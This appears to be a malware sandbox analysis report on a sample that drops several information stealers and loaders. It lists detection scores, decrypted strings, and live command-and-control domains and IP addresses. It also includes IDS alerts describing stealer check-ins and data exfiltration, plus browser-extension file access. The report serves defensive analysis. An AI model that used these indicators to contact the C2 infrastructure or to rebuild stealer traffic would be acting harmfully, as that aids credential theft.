Source: file-link-iota.vercel.app	Virustotal: Detection: 8%			Perma Link
Source: 240902180529931.tyr.zont16.com	Virustotal: Detection: 7%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	ReversingLabs: Detection: 79%
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Virustotal: Detection: 72%	Perma Link
Source: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	ReversingLabs: Detection: 87%
Source: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	Virustotal: Detection: 74%	Perma Link
Source: C:\Users\userDGHCBAAEHC.exe	ReversingLabs: Detection: 54%
Source: C:\Users\userDGHCBAAEHC.exe	Virustotal: Detection: 37%	Perma Link
Source: C:\Users\userJJJJDAAECG.exe	ReversingLabs: Detection: 26%
Source: C:\Users\userJJJJDAAECG.exe	Virustotal: Detection: 38%	Perma Link
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6fcb30b9dd_123p[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6fcb30b9dd_123p[1].exe	Virustotal: Detection: 74%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe	Virustotal: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lamp[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lamp[1].exe	Virustotal: Detection: 39%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sgnr[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sgnr[1].exe	Virustotal: Detection: 37%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vjgg[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vjgg[1].exe	Virustotal: Detection: 37%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d59ef9d4404_premium[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d59ef9d4404_premium[1].exe	Virustotal: Detection: 67%	Perma Link

Multi AV Scanner detection for submitted file

Source: gobEmOm5sr.exe	ReversingLabs: Detection: 55%
Source: gobEmOm5sr.exe	Virustotal: Detection: 53%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\userJJJJDAAECG.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\DB Light Pack Engine 9.6.45\DB Light Pack Engine 9.6.45.exe	Joe Sandbox ML: detected
Source: C:\Users\userDGHCBAAEHC.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: gobEmOm5sr.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: a8kafm--@cloudcosmic

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\NewStar\newstar.exe

Unpacked PE file: 39.2.newstar.exe.400000.0.unpack

Source: gobEmOm5sr.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\NewStar_is1

Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.142:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 158.69.225.124:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.2.46:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.172:443 -> 192.168.2.4:49780 version: TLS 1.2

Source: gobEmOm5sr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\exe\premium_gitrep.pdbe source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001207000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001934000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdbG source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2332767463.00000000058C0000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000158E000.00000004.00000020.00020000.00000000.sdmp, 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000000.1923341342.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.PDBf1 source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n<C:\Windows\premium_gitrep.pdb source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2233127778.0000000000F39000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: gobEmOm5sr.exe, 00000000.00000002.1663150655.0000000005790000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001934000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\wMwlL.pdb source: gobEmOm5sr.exe, 00000000.00000002.1663531403.0000000005A90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: premium_gitrep.pdb source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000000.1922223189.00000000007C2000.00000002.00000001.01000000.0000000A.sdmp, yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001256000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000158E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\premium_gitrep.pdbFk<W source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001207000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000153D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: premium_gitrep.pdbx source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000000.1922223189.00000000007C2000.00000002.00000001.01000000.0000000A.sdmp, yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001256000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: githubsoft.pdb source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: mscorlib.resources.pdbV source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.0000000001207000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BotClient.pdb source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000000.1922131393.0000000000282000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: ud.pdbWindowsPowerShell\Modules;C:\Windows\system32\WindowsPowe source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.000000000158E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0dows\symbols\dll\mscorlib.pdb source: yh8OwfLgsaGOEy8sLU5UpJIK.exe, 00000008.00000002.2249226369.00000000011F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\newPrime_cloud.pdbN source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2225232174.0000000001556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdb source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2332767463.00000000058C0000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: githubsoft.pdb8 source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: n<C:\Windows\newPrime_cloud.pdb source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2221433328.00000000012F9000.00000004.00000010.00020000.00000000.sdmp

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054709 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (GET) : 192.168.2.4:49730 -> 185.143.223.148:80
Source: Network traffic	Suricata IDS: 2054710 - Severity 1 - ET MALWARE PrivateLoader CnC Response : 185.143.223.148:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2054711 - Severity 1 - ET MALWARE PrivateLoader CnC Activity (POST) : 192.168.2.4:49730 -> 185.143.223.148:80
Source: Network traffic	Suricata IDS: 2046266 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Token) : 77.105.164.24:50505 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49753 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49753 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49753 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49753 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2046269 - Severity 1 - ET MALWARE [ANY.RUN] RisePro TCP (Activity) : 192.168.2.4:49754 -> 77.105.164.24:50505
Source: Network traffic	Suricata IDS: 2049060 - Severity 1 - ET MALWARE RisePro TCP Heartbeat Packet : 192.168.2.4:49754 -> 77.105.164.24:50505
Source: Network traffic	Suricata IDS: 2055482 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (stamppreewntnq .shop) : 192.168.2.4:49325 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.4:49760 -> 147.45.47.36:30035
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.4:49760 -> 147.45.47.36:30035
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 147.45.47.36:30035 -> 192.168.2.4:49760
Source: Network traffic	Suricata IDS: 2055492 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (stamppreewntnq .shop) : 192.168.2.4:49762 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:56325 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:59406 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055475 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop) : 192.168.2.4:55687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49764 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 147.45.47.36:30035 -> 192.168.2.4:49760
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49766 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49768 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49771 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:53819 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:55415 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49779 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49778 -> 147.45.126.10:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49781 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.126.10:80 -> 192.168.2.4:49778
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49781 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.126.10:80 -> 192.168.2.4:49778
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.100:80 -> 192.168.2.4:49781
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49781 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.100:80 -> 192.168.2.4:49781
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49781 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49780 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:52984 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:54478 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49790 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:49792 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49803 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49803 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49794 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49794 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49798 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49802 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49798 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49802 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49805 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49805 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49806 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49806 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.4:49791 -> 104.21.10.172:443
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49811 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49812 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49812 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49813 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49813 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49810 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49810 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49815 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49815 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49808 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49824 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49824 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49825 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49825 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49807 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49807 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49823 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49826 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49826 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49820 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49814 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49820 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49814 -> 185.196.8.214:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49823 -> 185.196.8.214:80
